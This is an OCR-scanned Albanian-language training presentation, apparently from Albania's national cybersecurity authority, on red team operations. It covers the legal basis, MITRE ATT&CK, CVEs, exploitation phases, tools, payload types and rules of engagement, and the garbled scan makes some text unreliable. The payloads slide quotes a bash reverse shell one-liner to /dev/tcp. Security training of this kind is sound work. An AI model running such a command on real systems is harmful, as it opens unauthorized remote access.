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« Institucioni kombétar pérgjegjés pér zbatimin dhe mbikéqyrjen e sigurisé kibernetike, identifikimit elektronik dhe
shérbimeve té besuara né Shqipéri.

« Qéllimi eshte krijimi i njé mjedisi elektronik té sigurt, té besueshém dhe né pérputhje me standardet
nderkombeétare.

- Misioni: Arritja dhe mbajtja e njé niveli té larté té sigurisé kibernetike né té gjitha sektorét, duke mbrojtur
hapésirén kibernetike kombétare.




AUTORITETI KOMBETAR PER SIGURINE KIBERNETIKE

KUADRI LIGJOR & ETIK

Neni 30, pika ¢) té Ligjit Nr. 25/2024:

“AKSK zhvillon skanime té jashtme té rrjeteve dhe

sistemeve té operatoréve CIl

« Skanime | Jashtem — Njoftim Paraprak

« Skanim | Brendshem (whitebox)-Autorizim |
dokumentuar

Sipas praktikave me té mira ndérkombétare (ISO 27001, NIS2) dhe né

pérputhje me Ligjin nr. 25/2024 “Pér Siguriné Kibernetike”, testimet e sigurisée
duhet té realizohen:

1.Té paktén njé heré né vit

2.Pas cdo ndryshimi madhor né infrastrukturé (shtim sistemi, pérditésim i
réendésishém, migrim né cloud, etj.).

[ CONFIDENTIALITY

SECURITY

INTEGRITY AUAILABILITY
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ROUI | EXKSPERTIT TE
SiIMUlirNMmMeve SIiBeRNeTIHE

« SIMULON SULMUES REALE (ADVERSARY,
EMULATION) PER TE ZBULUAR DOBESITE PARA SE
T°'I SHFRYTEZOJNE KRIMINELET KIBERNETIKE.

« JO TE THYEJE SISTEMIN, POR TE NDIHMOJE,
ORGANIZATEN TE BEHET ME E FORTE DHE ME
REZISTENTE.

- ANETAR I RED TEAM BASHKEPUNON ME BLUE TEAM
PER PERMIRESIM TE VAZHDUESHEM.

« VEPRON BRENDA RREGULLAVE TE MIRATUARA (ROE
- RULES OF ENGAGEMENT) DHE ME AUTORIZIM TE
PLOTE LIGJOR.

RED TEAM




Auditimet klasike nuk mjaftojné.

Auditimet klasike matin

pérputhshmériné me standardet.

Qe

mat gatishmeérine

Pa simulime praktike, ne zbulojmé
vetém ate qé eéshte dokumentuar —
jo até qé do te ndodhé kur ndodh
sulmi i vertete.




Profili i Kérkuar: Aftésite | dhe Etike

Kategoria e

Pérshkrimi i Shkurts
AftEsiss shie —

Njohuri té thella té rrietave, sistemeve operative (Linux/Windows), zhvillimit t& shfrytézimeve (Exploitation) dhe mjeteve té
sigurisé. Kuptim i arkitekturés té sistemeve dhe mekanizmave té sigurisé.

Aftési né Python, PowerShell ose Bash pér zhvillimin e mjeteve té personalizuara dhe automatizimin e detyrave. Aftési né shkrim
té skriptave pér testimin e dobésive dhe shfrytézimin e sistemeve.

Respektim absolut i Rregullave té Angazhimit (Rules of Engagement) dhe kuadrit ligjor. Integritet i larté, diskrecioni dhe
pérputhshméri me legjislacionin kombétar dhe ndérkombétar.

Aftési pér té pérkthyer gjetjet teknike né rrezik biznesi/qeveritar pér lidershipin. Aftési raportimi té qarta dhe té strukturuara, me
rekomandime té zbatueshme.




WHITE-BOX

FULL KNOWLEDGE
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MITRE ATT&CK: Harta e Taktikave té Sulmuesve

MITRE ATT&CK &shté bazé e njohurive e taktikave dhe teknikave té pérdorura nga aktoré té& k&rcé&nimit, zhvilluar nga MITRE Corporation bazuar né
analizén e incidenteve reale. Red Team e pérdor pér té simuluar sulmuesit realé,

13 Taktika Kryesore (n& rend kronologjik): Vazhdim i Taktikave:
0 Reconnaissance 08 Credential Access
Grumbullim informacioni Vjedhja e kredencialeve
02 Resource Development 09 Discovery
Pérgatitja e mjeteve Zbulimi i sistemeve
0z Initial Access 10 Lateral Movement
Hyrja né sistem Lé&vizja brenda rrietit
0a Execution . Collection
Ekzekutimi i kodit Grumbullimi i t& dhénave
-\ Persistence 12 Exfiltration
Qasje e vazhdueshme Nxjerrja e t& dhénave
06 Privilege Escalation 13 Impact
Ngritja e privilegjeve Démtimi i sistemeve
Defense Evasion
07 stumen gja e detektimit @ Shénim: Cdo taktiké pé&rmban dhjetéra teknika specifike




Mésimi i Vazhdueshém

Cdo gjetje e Red Team-it éshté njé mundeési trajnimi pér Blue Team-in,
duke pérmirésuar njohurité dhe aftésité e mbrojtjes.

Stérvitjet Kibernetike (Cyber Drills)

Kryerja e ushtrimeve té rregulita per te testuar planet e reagimit ndaj
incidenteve dhe pér té shkurtuar kohén e zbulimit (MTTD) dhe kohén e
reagimit (MTTR).

Pérmirésimi i Kontrolleve

Rregullimi i rregullave té zbulimit (Detection Rules) né sistemet SIEM/EDR
bazuar neé TTP-té e péerdorura nga Red Team-i.

(Blue Team)

& A,
Red Team

® Offensive Security

® Ethical Hacking

® Exploiting Vulnerabilities
® Penetration Tests

® Black Box Testing

@ Social Engineering

® Web App Scanning

Blue Team

® Defensive Security

@ Infrastructure Protection
® Damage Control

® Incident Response

® Operational Security

® Threat Hunting

® Digital Forensics




Fjalori i “igurisc: CVE, Skanimi, Exploit
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Common Vulnerabilities and Exposures - njé identifikues standard i njohur
ndérkombétarisht pér dobésité e sigurisé té zbuluara publikisht (p.sh., CVE-

2024-1234). -
<Title nam
. SKANIMT I DOBESIVE <div class/
o , - W S, ’ ,, . <Pror
Vulnerability Scanning - njé proces automatik péridentifikimin e dobésive té
njohura né sistemet dhe aplikacionet e njé organizate. -
SHFRYTEZIMI
Exploit - njé pjesé kodi ose sekuencé veprimesh qé pérfiton nga njé dobési | </F
(CVE) pér té marré kontrollin ose pér té shkaktuar déme né sistem. </d
</div>
PAYLOAD . </div>
TR : ) " . WReact. Fragment
Kodi i démshém ose instruksionet gé ekzekutohen pas shfrytézimit té

suksesshém (p.sh., njé shell i kundért pér gasje té largét). - )




Skanimi 1 : Zbulimi Automatik

Skanimi i dobésive éshté njé proces automatik gé pérdor mjete %
organizate.

—r

Si Funksionon?

Zbulim i Hosteve

Mijeti identifikon sistemet aktive né rrjiet pérmes PING ose ARP s

Identifikimi i Portave

Mjeti gjen portet e hapura dhe shérbimet qé dégjojneé né ato por LN

Identifikimi i Versionit o’ -

Mjeti peércakton versionin e softuerit/sistemit operativ t& ¢do shé

Krahasim me CVE

Mjeti krahason versionet e gjetura me bazén e té dhénave té CV

Raportim

Mjeti gjeneron njé raport té detajuar t& dobésive té zbuluara

Mjetet e Zakonshme

Nessus
Njé mjet i fugishém 1 skanim té dobésive me mbi 100,000 kontrolle

OpenVAS

Nje version | hapur i Nessus, i disponueshém falas per organizata

Qualys



CVE: Standardi - obhal i Identifikimit

GCfaré éshté CVE?

CVE (Common Vulnerabilities and Exposures) éshté njé sistem standardizimi i njohur ndérkombétarisht pér identifikimin e dobésive té sigurisé té zbuluara publikisht. Cdo
dobési e njohur publike merr njé identifikues unik né formatin CVE-YYYY-XXXXX.

Struktura e CVE

CVE-YYYY-XXXXX ku YYYY pérfagéson vitin e zbulimit ose raportimit, dhe XXXXX é&shté njé numér i sekuencés unik pér até vit. Pér shembull, CVE-2024-1234
pérfagéson dobésiné numeér 1234 té zbuluar né vitin 2024.

Shembull Praktik

CVE-2024-1234 mund té pérfaqésojé njé dobési SQL Injection né njé aplikacion web. Kjo dobési lejon njé sulmues té aksesojé té dhénat e bazés sé té dhénave pa
autorizim.

Struktura e Shembullit:

CVE-2024-1234 = Dobésia SQL Injection né Apache Struts 2.35.x
Ndikimi: Qasja e paautorizuar né té dhénat sensitive
Zgjidhja: Upgrade né versionin 2.3.16 ose mé té ri

Réndésia pér Red Team-in

Red Team-i pérdor bazén e té dhénave té CVE-ve pér té identifikuar dobési té njohura né sistemet e objektit té testimit. Mé pas, pérpiget té shfrytézojé kéto dobési pér té
arritur objektivat e misionit.




Cikli i Jetés i lobeésive

Njé dobési kalon népér faza té ndryshme nga zbulimi deri né zbutje. Procesi fillon me zbulimin e njé dobésie teknike né njé sistem ose
aplikacion, mé pas dokumentohet dhe i caktohet njé identifikues CVE. Né fazén e raportimit, detajet komunikohen me prodhuesin. Zhvilluesi
krijon njé patch ose update pér té zbuté dobésiné, dhe mé né fund pérdoruesit zbatojné patch-et.

Zbulim - Raportim = Patch + 2Zbatim =  Zbutje

A ZERO-DAY

Periudha ndérmjet zbulimit té dobésisé dhe zbutjes quhet "Zero-Day ". Gjaté késaj periudhe, Red Team-i mund té shfrytézojé dobésiné pér té testuar mbrojtjen,
pérpara se sulmuesit e kéqgij té mund ta zbulojné dhe ta shfrytézojné até.




Shfrytézimi: Nga né Akses

Shfrytézimi éshté procesi i pérdorimit té njé dobésie (CVE) pér t& marré gasje té paautorizuar ose pér té shkaktuar déme né njé sistem. Procesi ndiget né pesé faza

kryesore.

Identifikimi i Dobésisée

Red Team-i identifikon njé dobési né sistemin e objektit (p.sh., njé version i vjetér | Apache web server-it me njé CVE té njohur).

Zgjedhja e Exploit-it
Red Team-i zgjedh ose zhvillon njé exploit - njé kod ose sekuencé komandash gé pérfiton nga dob&sia. Exploit-et mund té gjendet né baza t& dhénash publike si Exploit-
DB ase Metasploit.

Pérgatitja e Payload-it
Red Team-i pérgatit payload-in (kodin e démshé&m) gé do té ekzekutohet pasi shfrytézimi té jeté i suksesshém. Payload-i mund té jeté njé shell i kundért, backdoor, ose
mjet pér té kéqyré sistemin.

Ekzekutimi i Exploit-it
Red Team-i ekzekuton exploit-in kundér sistemit t& objektit. Nése dobésia ekziston dhe exploit-i éshté i sakté, shfrytézimi do té jeté i suksesshém.

Marrja e Aksesit

Pasi shfrytézimi té jeté i suksesshém, Red Team-i merr gasje né sistem pérmes payload-it (p.sh., njé shell interaktive ose backdoor).




ljetet e Red Team-it:

Kali Linux

QELLIMI: Njé distribucim Linux i dedikuar pér penetration testing
PERDORIMI: Pérfshin mbi 600 mjete pér testing té sigurisé

RENDESIA: Sistemi operativ standard pér Red Team-in dhe security professionals

The Harvester

QELLIMI: Mbledhja e informacioneve publike (emails, subdomains, IP addresses)
PERDORIMI: Reconnaissance para sulmit aktiv pérmes OSINT

RENDESIA: Mijeti pér OSINT (Open Source Intelligence) né fazén e hershme

Social-Engineer Toolkit (SET)

QELLIMI: Automatizimiisulmeve té social engineering
PERDORIMI: Phishing, spear-phishing, dhe sulmeve té tjera té bazuara né njeréz

RENDESIA: Testimiifaktorit njerézor né siguring e organizatés

Aircrack-ng
QELLIMI: Cracking irrjeteve wireless (WiFi)
PERDORIMI: Testimii sigurisé té rrieteve WIFi

RENDESIA: Mjeti pér testimin e sigurisé té infrastrukturés wireless




Mljetet e Red Team-it: dhe Zbulim

Mmap (Network Mapper)
QELLIMI: Skanim i rrjetit pér t& zbuluar hosté, porta té hapura dhe shérbime
PERDORIMI: nmap -sV -p- target.com

RENDESIA: Hapii paré né reconnaissance pér Red Team-in

Wireshark

QELLIMI: Analizé e paketave té rrjetit né kohé reale
PERDORIMI: Kapja dhe analiza e trafikut té rrietit pér t& zbuluar kredenciale ose informacione sensitive

RENDESIA: Ndihmon né kuptimin e komunikimit té rrjetit dhe identifikimin e vulnerabiliteteve

Metasploit Framework
QELLIMI: Nj& platformé e ploté pér zhvillimin, testimin dhe ekzekutimin e exploit-eve
PERDORIMI: Pérfshin mbi 2000 module té exploit-eve, payload-eve dhe post-exploitation tools

RENDESIA: Mjeti mé iréndésishém pér Red Team-in pér shfrytézimin e dobésive

Burp Suite
QELLIMI: Testimiisigurisé té aplikacioneve web

PERDORIMI: Proxy pér té inspektuar, modifikuar dhe ripérséritur kérkesa web

RENDESIA: Mijeti standard pér testimin e penetrimit t& aplikacioneve web




Payload-et: i Démshém

Njé payload éshté kodi ose instruksionet gé ekzekutohen né sistemin e objektit pasi shfrytézimi té jeté i suksesshém. Payload-i pérfagéson "ngarkesén" e
démshme ose té kéqyrjes qé Red Team-i déshiron té arrijé.

Reverse Shell

Hap njé lidhje té kundért nga sistemi i objektit né sistemin e sulmuesit. Pasi lidhja té jeté hapur, sulmuesit mund té ekzekutojé komanda né sistemin e objektit.

| bash -1 =& /dev/tcp/182.168.1.100/4444 0=l

Bind Shell

Hap njé port né sistemin e objektit dhe dégjon pér lidhje té ardhura. Sulmuesit mund té lidhen né até port dhe t& marrin gasje né shell.

Backdoor

Krijon njé hyrje t& fshehur né sistem, duke lejuar sulmuesit t& qasjen sistemin né té& ardhmen pa pasur nevojé té shfrytézojné daobésiné pérséri.

Data Exfiltration

Kopjon té dhéna sensitive nga sistemi dhe i dérgon ato né sistemin e sulmuesit pér analizé ose keqpérdorim.

Privilege Escalation

Pérpiget t& ngrejé privilegjet e pérdoruesit aktual né privilegje mé té larta (p.sh., nga user né root/administrator).




Faza té Avancuara

Lévizja nga njé sistem né tjetrin brenda té njéjtit rrjet pasi té keté fituar gasje fillestare.
Pass-the-Hash (PtH)
Pérdorimi i hash-eve té fjalékalimeve pér té marré qasje né sisteme € tjera pa pasur fjalékalimin
Pass-the-Ticket (PtT)

Pérdorimi | Kerberos tickets pér té marré gasje né sisteme té tjera né rrjetin Windows

Pivot

Pérdorimi i njé sistemi té kompromituar si ndérmjetés pér té gasur sisteme 1é tjera

ece rFsco
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Ngritja e privilegjeve nga njé pérdorues i zakonshém né administrator ose root.

Kernel Exploits

Shfrytézimi | dobésive né kernel-in e sistemit operativ

Sudo Misconfigurations
Shfrytézimi i konfigurimit té gabuar té sudo pér té ekzekutuar komanda me privilegje (& larta

SUID Binaries
Shfrytézimi i binareve me SUID bit té vendosur pér ngritjen e privilegjeve

"(.4.'.,. - T ERET.TLLEY
a4 LNA : . i 1
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Nxjerrja e t& dhénave sensitive nga sistemi i objektit pérmes kanaleve té fshehura.
DNS Tunneling
Pérdorimi i DNS pér té dérguar té dhéna né ményré té fshehur

HTTPS Tunneling
Pérdorimi i HTTPS pér té dérguar té dhéna brenda trafikut té€ enkriptuar




Kapacitetet e Red Team-it: i Ploté i Sulmit

Faza e Sulmit P&rshkrimi dhe Mjetet

Mbledhja e informacioneve publike dhe private. Mjetet: The Harvester, Shodan, Google Dorking
Zbulim i sistemeve, porteve dhe shérbimeve. Mjetet: Nmap, Wireshark, Masscan
Identifikimi i detajeve té sistemeve dhe aplikacioneve. Mjetet: Nmap, Enum4Linux, SMBMap

Identifikimi i dobésive té njohura. Mjetet: Metasploit, Burp Suite, Nessus, OpenVAS

Shfrytézimi i dobésive pér té marré gasje. Mjetet: Metasploit, Custom Exploits, Burp Suite
Marrja e gasjes dhe pérforcimi i pozicionit. Mjetet: Mimikatz, Empire, Cobalt Strike, Hashcat
Krijimi i backdoors pér gasje té ardhshme. Mjetet: Reverse Shells, Scheduled Tasks, Rootkits

Fshirja e provave té sulmit. Mjetet: Log Deletion Tools, Anti-Forensics, Timestomp




Rregullat e Angazhimit: Etike dhe Ligjore

Rregullat e Angazhimit (RoE) pércaktojné ¢faré mund té béjé Red Team-i dhe ¢faré nuk mund t& béjé gjaté njé operacioni.

1. Fushéveprimi (Scope)

Pércaktimi i qarté i sistemeve gé mund té testohen dhe atyre gé jané jashté fushéveprimit

Cilat sisteme, aplikacione ose & dhéna jané té ndaluara pér testim

2. Periudha e Testimit (Timeline)
Data e fillimit dhe pérfundimit, orét e punés dhe periudhat kur testimi nuk duhet t& béhet

P.sh., testim vetém gjaté oréve té punés ose 24/7, pérjashtim i periudhave kritike

3. Metodat e Lejuara (Allowed Methods)

Cilat teknika mund té& pérdoren dhe cilat jané té ndaluara

P.sh., Denial of Service (DoS) nuk lejohet, shkat&rrimi | t& dh&nave nuk lejohet

4. Komunikimi (Communication)
Kush duhet té njoftohet nése gjendet njé dobési kritike dhe procedura e raportimit

Kontaktet e emergjenceés, procedura pér L& raportuar incidentet e paplanifikuara

5. Pérputhshméria Ligjore (Legal Compliance)
Pérputhshméria me ligjet kombétare dhe ndérkombétare, autorizimi i duhur, mbrojtja e té dhénave personale

Sigurimi i autorizimit t& dubur nga drejtimi, respektimi | GDPR dhe ligjeve té tjera




Zhvillimi i1 Ekspertéve: C dhe Karriere

CEH (Certified Ethical Hacker) OSCP (Offensive Security Certified Professional)
ORG: EC-Council ORG: Offensive Security

PERSHKRIMI: Sertifikat bazé pér ethical hacking PERSHKRIMI: Sertifikat praktike p@r penetration testing

KOHA: 3-6 muaj | KOSTOJA: $1000-2000 KOHA: 6-12 muaj | kosToJA: $1000-1500

GPEN (GIAC Penetration Tester) CRTP (Certified Red Team Professional)

ORG: GIAC ORG: Ahlered Security

PERSHKRIMI: Penetration testing i avancuar PERSHKRIMI: Red Team né Active Directory

KOHA: 6-12 muaj | KosToJA: $1500-2500 XOHA: 2-4 muaj | kosToJa: $500-1000

CISSP (Certified Information Systems Security Professional)

ORG: (ISC)?
PERSHKRIMI: Menaxhimii sigurisé
KOHA: 12+ muaj | KOSTOJA: $2000-3000

Niveli i Fillimit: Junior Red Teamer
SERTIFIKAT: CEH, Security+ | PERVOJE: 1-2 vjet | DETYRA: Testim dobésish, skanim, dokumentim

Niveli 1 MesZm: Senior Red Teamer
SERTIFIKAT: OSCP, GPEN | PERVDJE: 3-5 vijet | DETYRA: Planifikimi i misioneve, shfrytézimi, raportim

Miveli i Lart&: Red Team Lead / Manager
SERTIFIKAT: CRTP, CISSP | PERVOJE: 5+ ujct| DETYRA: Menaxhimii ekipit, planifikimi strategjik, késhillim




Faleminderit
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